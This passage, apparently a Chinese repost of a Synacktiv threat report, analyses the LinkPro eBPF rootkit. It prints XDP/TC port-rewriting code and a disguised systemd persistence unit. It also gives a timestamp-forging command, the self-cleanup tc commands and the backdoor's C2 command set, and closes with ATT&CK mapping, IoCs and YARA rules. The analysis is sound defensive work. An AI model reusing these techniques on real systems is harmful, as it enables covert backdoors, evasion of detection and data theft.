    __u32 diff  = bpf_csum_diff(&old32, 4, &new32, 4, ~(data->tcph).check); //TCP Checksum Diff
    (data->tcph).dest  = new_n;
    tcph->check = fold_csum(diff);

    bpf_printk("[XDP] REWRITE %x:%u %u→%u", sip_h, sport_h, dport_h, in_port);
}

最后,如果使用了目标端口 9999,程序会显示额外的内核调试信息:

  • • [DBG-9999] 收到9999端口包: sip=%x sport=%u, fin=%d syn=%d rst=%d win=%u(收到来自 9999 端口的数据包)
  • • [MISS] 未找到敲门记录: sip=%x dport=%u(未找到敲门记录)

3.4.3 tc_egress

tc_egress eBPF 程序监听所附着网络接口上的出站流量。该程序监控源端口为 in_port(2233)的 TCP 数据包的发送。

  • • 如果接收到这样的数据包,程序会检查 rev_port map中是否存在键 rev_key = { in_port, dip, dport}(dip = 目标 IP),该键值对之前已由 xdp_ingress 保存。
  • • 如果找到,程序会修改出站数据包的 TCP 头部,在出站数据包的源端口级别上,恢复入站数据包的原始目标端口(该端口先前已被 xdp_ingress 替换)。同时也会重新计算校验和。最后,在任何情况下,数据包都会继续其处理过程(返回 TC_ACT_OK 代码)。
if ((data->tcph).source == bpf_htons(get_in_port())){
    __u16 dport_n = tcph->dest;
    struct rev_key rk = {
        get_in_port(),
        bpf_ntohl((data->iph).daddr),
        bpf_ntohs(dport_n)
    }
    __u16 *knock = bpf_map_lookup_elem(&rev_port, &rk);
    if (!knock) {
        bpf_printk("[TC-MISS] 未找到端口映射: dip=%x dport=%u", bpf_ntohl((data->iph).daddr), bpf_ntohs(dport_n)); // (Port mapping not found)
    }
    else {
        __u16 new_n = bpf_htons(*knock);
        __u16 old_n = (data->tcph).source;
        __u32 o32   = (__u32)old_n;
        __u32 n32   = (__u32)new_n;
        __u32 diff  = bpf_csum_diff(&o32, 4, &n32, 4, ~(data->tcph).check);
        (data->tcph).source = new_n;
        (data->tcph).check  = fold_csum(diff);
        bpf_printk("[TC] REWRITE_BACK %u→%u", get_in_port(), *knock);
    }
}

因此,LinkPro 的目标是:在接收到初始"魔术数据包(magic packet)"时,有条件地激活命令接收状态。一旦收到魔术数据包(magic packet),操作者有一个小时的时间窗口(之后可以重新激活)向任意目标端口发送命令。xdp_ingress 程序的作用是修改入站 TCP 数据包的头部,将原始目标端口替换为 LinkPro 的监听端口(在此场景下是 2233)。

最后,当 LinkPro 响应操作者的命令时,tc_egress 程序的作用是修改出站数据包,将源端口(2233)替换为原始端口。此操作的目的是允许操作者通过前端防火墙允许的任何端口来激活 LinkPro 的命令接收功能。这也使得前端防火墙日志与受感染主机的网络活动之间的关联分析变得更加复杂。例如:操作者将其命令发送到受感染 Web 服务器的 443/https 端口,而实际上数据包在服务器内部被转发到了 2233 端口。

LinkPro 网络数据包处理流程
LinkPro 网络数据包处理流程

3.5 持久化机制

为了在宿主机上实现持久化,LinkPro 将自己"伪装"成 systemd-resolved 服务(名称解析服务)。

  1. 1. 通过执行命令以读写权限重新挂载根分区 /mount -o remount,rw /
  2. 2. 将其自身可执行文件复制到 /usr/lib/.system/.tmp~data.resolveld
  3. 3. 在 /etc/systemd/system/systemd-resolveld.service 中添加一个 systemd 单元文件:
    [Unit]
    Description=Network Name Resolution Manager
    Documentation=man:systemd-resolved.service(8)
    After=network.target
    [Service]
    Type=simple
    ExecStart=/usr/lib/.system/.tmp~data.resolveld
    Restart=always
    RestartSec=5
    KillSignal=SIGTERM

    ProtectSystem=full
    PrivateTmp=true
    NoNewPrivileges=true
  4. 4. 将 /usr/lib/.system/.tmp~data.resolveld 和 /etc/systemd/system/systemd-resolveld.service 的文件修改时间戳伪造为与 /etc/passwd 文件相同:sh -c touch -d "$(stat /etc/passwd | grep Modify | awk '{print $2, $3}')" %s 2>/dev/null
  5. 5. 启用 systemd-resolveld 服务,使其在系统启动时自动运行:systemctl enable systemd-resolveld

3.6 自删除功能

在程序被中断时(接收到 SIGHUPSIGINTSIGTERM 信号),LinkPro 会卸载其程序:

  • • Knock 模块:
    • • 通过执行 tc 命令删除 tc_egress eBPF 链接:
      • • tc filter del dev eth0 egress(注:在此示例中,eth0 是具有互联网访问权限的接口)
      • • tc qdisc del dev eth0 clsact
    • • 删除 xdp_ingress eBPF 链接
    • • 删除 /sys/fs/bpf/fire 目录
  • • Hide 模块:删除 eBPF 链接、映射和程序(跟踪点(Tracepoints)、内核返回探针(Kretprobe))
  • • 删除 /etc/libld.so 并恢复配置文件 /etc/ld.so.preload 的初始内容

3.7 命令功能

一旦与操作者的通信稳定建立,LinkPro 提供以下命令:

命令
功能描述
terminal_create
terminal_resizeterminal_inputterminal_close
在伪终端中执行 /bin/bash(使用 github.com/creack/pty 模块[34])。terminal_input 子命令允许与创建的 bash 进程进行交互。
shell
直接执行任意 shell 命令:/bin/sh -c [cmd]
file_manage

子命令:read_filelist_fileswrite_filecreate_filedelete_fileupload_filecreate_folderget_current_dirdelete_files_batch
用于列出、读取、写入和删除文件或目录的命令。
upload_file 子命令允许服务器下载文件受感染主机。下载使用 HTTP 协议,从形如 http://[server_address]:[port]/api/client/file/download?path=[server_file_path] 的 URL 下载到命令中 client_save_path 指定的本地路径。
download_manage
文件下载。目标文件被分割成 1MB 的块。每个块经过 base64 编码后发送给操作者。
reverse_connect
 ; close_reverse_connect
设置中继以充当 SOCKS5 代理隧道。使用 resocks 模块[35]。代理服务器的 IP 地址、端口和连接密钥在命令中指定。
reverse_http_listener

子命令: startstopstatus
设置 HTTP 服务,与 reverse 模式建立的服务相同。端口和加密密钥(XOR)在命令中指明。
set_sleep_config
更新 sleep_time 和 jitter_time 参数。

3.8 arp_diag.ko 内核模块

SHA256
9fc55dd37ec38990bb27ea2bc18dff0bb2d16ad7aa562ab35a6b63453c397075
文件类型
ELF 64位 LSB 内核对象, x86-64
文件大小
586,728 bytes
威胁类型
Linux LKM Rootkit

内嵌在 LinkPro 程序中的 arp_diag.ko 内核模块从未被加载。在受感染主机上也未观测到该模块的加载。其版本信息如下:

version=1.21
description=UNIX socket monitoring via ARP_DIAG
author=Linux
license=GPL
srcversion=AB501E218EDD1F4EA00642E
depends=
retpoline=Y
name=arp_diag
vermagic=6.8.0-1021-aws SMP mod_unload modversions

该模块注册了四个内核探针,分别附着到内核函数 tcp4_seq_showudp4_seq_showtcp6_seq_show 和 udp6_seq_show 上。这些系统调用提供了 /proc/net/tcp/proc/net/tcp6/proc/net/udp 和 /proc/net/udp6 文件中指定的信息。arp_diag 实现的函数旨在隐藏包含端口 2233 的记录。

hook_tcp4_seq_show 函数的实现
hook_tcp4_seq_show 函数的实现

四、结论

Synacktiv CSIRT 在受入侵的 AWS 基础设施上发现的 LinkPro rootkit,其分析结果证实并深化了利用 eBPF 技术的威胁趋势。继 BPFDoor 或 Symbiote 等恶意软件之后,LinkPro 通过在多个层级结合多种隐匿技术,代表了此类后门在复杂程度上迈出了新的一步。

为实现内核级的隐藏,该 rootkit 使用了 tracepoint 和 kretprobe 类型的 eBPF 程序来拦截 getdents(文件隐藏)和 sys_bpf(隐藏自身 BPF 程序)系统调用。值得注意的是,此技术需要特定的内核配置(CONFIG_BPF_KPROBE_OVERRIDE)。如果该配置不存在,LinkPro 会回退到备用方法,即通过 /etc/ld.so.preload 文件加载恶意库,以确保在用户空间隐藏其活动。

LinkPro 的另一个显著特点是其操作灵活性,既能够以被动监听模式运行,也能够直接联系命令与控制(C2)服务器。

  • • 在监听模式reverse)下,它部署了一个基于 XDPingress)和 TCegress)程序的高级网络处理链,其实现明显借鉴了开源项目 eBPFeXPLOIT。该机制允许其将"魔术数据包(magic packet)"重定向到其内部监听端口并隐藏通信。
  • • 在直连模式forward)下,即直接连接 C2 时,则不需要这种重定向,因此不会使用该机制。

一旦通信建立,LinkPro 会向操作者提供高级功能,特别是能够作为横向移动的支点

虽然无法正式归因于某个特定的威胁行为者,但此次攻击的目标似乎是经济利益。总而言之,LinkPro 是恶意软件自适应利用 eBPF 的一个具体实例。内核 hooks、用户空间备用机制(ld.so.preload)以及不同通信模式的结合,展示了一种专门为适应不同系统配置和规避检测而构思的设计。

在此次分析过程中创建的 YARA 规则维护在 synacktiv-rules[36] Github 代码库中。

五、MITRE ATT&CK 框架映射 — LinkPro

战术环节
技术 (ID)
LinkPro 使用描述
执行
命令和脚本解释器:Unix Shell (T1059.004)
LinkPro 通过 /bin/sh -cshell 命令)执行命令,并提供带有 /bin/bash完整的交互式 shell(terminal_create 命令)。
持久化
创建或修改系统进程:Systemd 服务 (T1543.002)
创建 systemd 单元文件(/etc/systemd/system/systemd-resolveld.service)以实现开机自启动。
持久化
劫持执行流程:动态链接器劫持 (T1574.006)
使用 /etc/ld.so.preload 作为替代/备用的隐藏机制。
防御规避
伪装:匹配合法名称或位置 (T1036.005)
恶意软件通过使用文件名 /usr/lib/.system/.tmp~data.resolveld 和 systemd-resolveld.service 伪装成 systemd-resolved
防御规避
痕迹清除:时间戳篡改 (T1070.006)
LinkPro 修改其持久化文件的时间戳以匹配合法系统文件(例如 /etc/passwd)。
防御规避
Rootkit (T1014)
在内核层面对 getdents 和 sys_bpf 使用 eBPF hooks 来隐藏其痕迹。
防御规避
文件或信息混淆 (T1027)
通过 download_manage 泄露的数据经过 Base64 编码。C2 流量经过 XOR 加密。
防御规避
削弱防御:修改系统防火墙 (T1562.007)
XDP 程序在主网络协议栈之前处理数据包,从而绕过本地防火墙过滤规则。
命令与控制
应用层协议 (T1071)
除原始 TCP/UDP 外,还使用 HTTP 和 DNS(通过 DNS 隧道 T1071.004)进行 C2 通信。
命令与控制
流量信号:端口敲门 (T1205.002)
"魔术数据包(magic packet)"概念(窗口大小为 54321 的 TCP SYN 包)是一种流量信号形式,用于激活被动 C2。
命令与控制
代理:外部代理 (T1090.002)reverse_connect
 命令建立 SOCKS5 代理隧道以中继流量,用作横向移动支点。
命令与控制
工具传入 (T1105)upload_file
 命令允许操作者通过 HTTP 将其他工具下载到受感染主机。
数据窃取
通过 C2 通道窃取 (T1041)download_manage
 命令使用 C2 通道窃取文件。其实现中采用了分块和 Base64 编码的技术。
信息收集
文件和目录发现 (T1083)file_manage
 命令及其子命令(list_filesget_current_dir)用于探查受害者的文件系统。

六、入侵指标 (IoCs) 表 — LinkPro

指标类型
指标
描述
网络
/api/client/file/download?path=...upload_file
 命令用于向受感染主机下载工具的 URL。
网络
/reverse/handshake
 ; /reverse/heartbeat ; /reverse/operation
LinkPro 在 reverse 模式下用于接收操作者命令的 URL。
网络
18.199.101.111
LinkPro 样本(forward 模式)的目的地 IP 地址。
文件
/etc/systemd/system/systemd-resolveld.service
伪装成合法 systemd-resolved 服务的恶意服务文件(注意末尾多了一个"d")。
文件
/root/.tmp~data.ok
LinkPro 二进制文件的位置和名称,模仿系统文件。
文件
/usr/lib/.system/.tmp~data.resolveld
LinkPro 二进制文件的位置和名称,模仿系统文件。
文件
/etc/libld.so
通过修改 /etc/ld.so.preload,将其用作隐藏机制。
主机
systemd-resolveld
恶意服务名称,旨在与合法的 systemd-resolved 服务混淆。
主机
conf_map
被 LinkPro 的 Knock 模块使用的 eBPF map,包含内部端口。
主机
knock_map
被 LinkPro 的 Knock 模块使用的 eBPF map,包含已授权的 IP 地址。
主机
main_ebpf_progs
被 LinkPro 的 Hide 模块使用的 eBPF map,包含需要隐藏的 eBPF 程序。
主机
pids_to_hide_map
被 LinkPro 的 Hide 模块使用的 eBPF map,包含需要隐藏的进程 PID。

七、YARA 规则

import "elf"

ruleMAL_LinkPro_ELF_Rootkit_Golang_Oct25 {
meta:
    description="Detects LinkPro rootkit"
    author="CSIRT Synacktiv, Théo Letailleur"
    date="2025-10-13"
    reference="https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis"
    hash="1368f3a8a8254feea14af7dc928af6847cab8fcceec4f21e0166843a75e81964"
    hash="d5b2202b7308b25bda8e106552dafb8b6e739ca62287ee33ec77abe4016e698b"
strings:
    $linkp_mod="link-pro/link-client"fullwordascii
    $linkp_embed_libld="resources/libld.so"fullwordascii
    $linkp_embed_lkm="resources/arp_diag.ko"fullwordascii
    $linkp_ebpf_hide="hidePrograms"fullwordascii
    $linkp_ebpf_knock="knock_prog"fullwordascii

    $go_pty="creack/pty"fullwordascii
    $go_socks="resocks"fullwordascii

condition:
    uint32(0)==0x464c457fandfilesize>5MBandelf.type==elf.ET_EXEC
    and2of($linkp*)
    and1of($go*)
}
import "elf"

ruleMAL_LinkPro_Hide_ELF_BPF_Oct25 {
meta:
    description="Detects LinkPro Hide eBPF module"
    author="CSIRT Synacktiv, Théo Letailleur"
    date="2025-10-13"
    reference="https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis"
    hash="b8c8f9888a8764df73442ea78393fe12464e160d840c0e7e573f5d9ea226e164"
strings:
    $hook_getdents="/syscalls/sys_enter_getdents"fullwordascii
    $hook_getdentsret="/syscalls/sys_exit_getdents"fullwordascii
    $hook_bpf="/syscalls/sys_enter_bpf"fullwordascii
    $hook_bpfret="sys_bpf"fullwordascii
    $str1="BPF cmd: %d, start_id: %u"fullwordascii
    $str2="HIDING NEXT_ID: %u"fullwordascii
    $str3=".tmp~data"fullwordascii

condition:
    uint32(0)==0x464c457fanduint16(0x12)==0x00f7//BPFMachine
    andelf.type==elf.ET_REL
    and2of($hook*)
    and1of($str*)
}
import "elf"

ruleMAL_LinkPro_Knock_ELF_BPF_Oct25 {
meta:
    description="Detects LinkPro Knock eBPF module"
    author="CSIRT Synacktiv, Théo Letailleur"
    date="2025-10-13"
    reference="https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis"
    hash="364c680f0cab651bb119aa1cd82fefda9384853b1e8f467bcad91c9bdef097d3"
strings:
    $hook_xdp="xdp_ingress"fullwordascii
    $hook_tc_egress="tc_egress"fullwordascii
    $str1="[DBG-XDP]"fullwordascii
    $str2="[DBG-9999]"fullwordascii
    $str3="[TC-MISS]"fullwordascii
    $str4="[TC] REWRITE_BACK"fullwordascii
condition:
    uint32(0)==0x464c457fanduint16(0x12)==0x00f7//BPFMachine
    andelf.type==elf.ET_REL
    and1of($hook*)
    and2of($str*)
}
import "elf"

ruleMAL_LinkPro_LdPreload_ELF_SO_Oct25 {
meta:
    description="Detects LinkPro ld preload module"
    author="CSIRT Synacktiv, Théo Letailleur"
    date="2025-10-13"
    reference="https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis"
    hash="b11a1aa2809708101b0e2067bd40549fac4880522f7086eb15b71bfb322ff5e7"
strings:
    $hook_getdents="getdents"fullwordascii
    $hook_open="open"fullwordascii
    $hook_readdir="readdir"fullwordascii
    $hook_kill="kill"fullwordascii
    $linkpro=".tmp~data"fullwordascii
    $file_net="/proc/net"fullwordascii
    $file_persist=".system"fullwordascii
    $file_cron="sshids"fullwordascii
condition:
    uint32(0)==0x464c457fandfilesize<500Koandelf.type==elf.ET_DYN
    and$linkpro
    and2of($hook*)
    and2of($file*)
}
import "elf"

ruleMAL_LinkPro_arpdiag_ELF_KO_Oct25 {
meta:
    description="Detects LinkPro LKM module"
    author="CSIRT Synacktiv, Théo Letailleur"
    date="2025-10-13"
    reference="https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis"
    hash="9fc55dd37ec38990bb27ea2bc18dff0bb2d16ad7aa562ab35a6b63453c397075"
strings:
    $hook_udp6="hook_udp6_seq_show"fullwordascii
    $hook_udp4="hook_udp4_seq_show"fullwordascii
    $hook_tcp6="hook_tcp6_seq_show"fullwordascii
    $hook_tcp4="hook_tcp4_seq_show"fullwordascii
    $ftrace="ftrace_thunk"fullwordascii
    $hide_entry="hide_port_init"fullwordascii
    $hide_exit="hide_port_exit"fullwordascii
condition:
    uint32(0)==0x464c457fandfilesize<2Moandelf.type==elf.ET_REL
    and$ftrace
    and2of($hook*)
    and1of($hide*)
}
import "elf"

ruleMAL_vGet_ELF_Downloader_Rust_Oct25 {
meta:
    description="Detects vGet Downloader, observed to load vShell"
    author="CSIRT Synacktiv, Théo Letailleur"
    date="2025-10-13"
    reference="https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis"
    hash="0da5a7d302ca5bc15341f9350a130ce46e18b7f06ca0ecf4a1c37b4029667dbb"
    hash="caa4e64ff25466e482192d4b437bd397159e4c7e22990751d2a4fc18a6d95ee2"
strings:
    $hc_rust="RUST_BACKTRACE"fullwordascii
    $hc_symlink="/tmp/.del"fullwordascii
    $hc_proxy="Proxy-Authorization:"fullwordascii
    $lc_crypto_chacha="expand 32-byte k"fullwordascii
    $lc_pdfuser="cosmanking"fullwordascii
    $lc_local="127.0.0.1"fullwordascii
condition:
    uint32(0)==0x464c457fandfilesize>500KBandfilesize<3MB
    andelf.type==elf.ET_DYN
    andallof($hc*)
    and1of($lc*)
}

引用链接

[1] 《LinkPro: eBPF rootkit analysis》:https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis
[2]BPFDoor:https://www.trendmicro.com/en_us/research/25/d/bpfdoor-hidden-controller.html
[3]Symbiote:https://blogs.blackberry.com/en/2022/06/symbiote-a-new-nearly-impossible-to-detect-linux-threat
[4]J-magic:https://blog.lumen.com/the-j-magic-show-magic-packets-and-where-to-find-them/
[5]ebpfkit:https://github.com/Gui774ume/ebpfkit
[6]eBPFexPLOIT:https://github.com/bfengj/eBPFeXPLOIT/tree/main
[7]CVE-2024–23897:https://www.jenkins.io/security/advisory/2024-01-24/
[8]Amazon EKS:https://docs.aws.amazon.com/eks/latest/userguide/what-is-eks.html
[9]hub.docker.com:https://hub.docker.com/
[10]vnt:https://github.com/vnt-dev/vnt
[11]vnt:https://github.com/vnt-dev/vnt
[12]**vShell**:https://www.trellix.com/blogs/research/the-silent-fileless-threat-of-vshell/
[13]UNC5174:https://www.sysdig.com/blog/unc5174-chinese-threat-actor-vshell
[14]SNOWLIGHT:https://malpedia.caad.fkie.fraunhofer.de/details/elf.snowlight
[15]link-pro:https://github.com/link-pro
[16]XDP:https://docs.ebpf.io/linux/program-type/BPF_PROG_TYPE_XDP/
[17]TC:https://docs.ebpf.io/linux/program-type/BPF_PROG_TYPE_SCHED_CLS/
[18]T1574.006:https://attack.mitre.org/techniques/T1574/006/
[19]Tracepoint 类型的 eBPF 程序:https://docs.ebpf.io/linux/program-type/BPF_PROG_TYPE_TRACEPOINT/
[20]Kprobes:https://www.kernel.org/doc/html/latest/trace/kprobes.html#how-does-a-kprobe-work
[21]`ebpf-go` 模块:https://ebpf-go.dev/
[22]maps:https://docs.ebpf.io/linux/concepts/maps/
[23]programs:https://docs.ebpf.io/linux/program-type/
[24]创建 BPF 链接:https://docs.ebpf.io/linux/syscall/BPF_LINK_CREATE/
[25]`dirent` 结构:https://pubs.opengroup.org/onlinepubs/9799919799/basedefs/dirent.h.html
[26]项目:https://github.com/bfengj/eBPFeXPLOIT/blob/main/ebpf/main.c#L691
[27]`bpftool`:https://bpftool.dev/
[28]EBPFeXPLOIT 项目:https://github.com/bfengj/eBPFeXPLOIT/blob/main/ebpf/main.c#L339
[29]`CONFIG_BPF_KPROBE_OVERRIDE` 配置选项:https://www.man7.org/linux/man-pages/man7/bpf-helpers.7.html
[30]Amazon Linux:https://github.com/nyrahul/linux-kernel-configs?tab=readme-ov-file#bpf_override_return-support
[31]XDP:https://www.datadoghq.com/blog/xdp-intro/
[32]`pinned objects(固定对象)`:https://docs.ebpf.io/linux/concepts/pinning/
[33]BPF 链接:https://pkg.go.dev/github.com/cilium/ebpf/link#AttachRawLink
[34]`github.com/creack/pty` 模块:https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis#footnote30_qzl1zn2
[35]resocks 模块:https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis#footnote31_qfdlxn8
[36]synacktiv-rules:https://github.com/synacktiv/synacktiv-rules/

 


原始链接: https://mp.weixin.qq.com/s/q2hzM_VJXkZbvh7U6zX4Ag?poc_token=HGBl8mijFiFuqAAB8rB-ww90G6OPZNuQuvZY0vPR
侵权请联系站方: [email protected]

相关推荐

换一批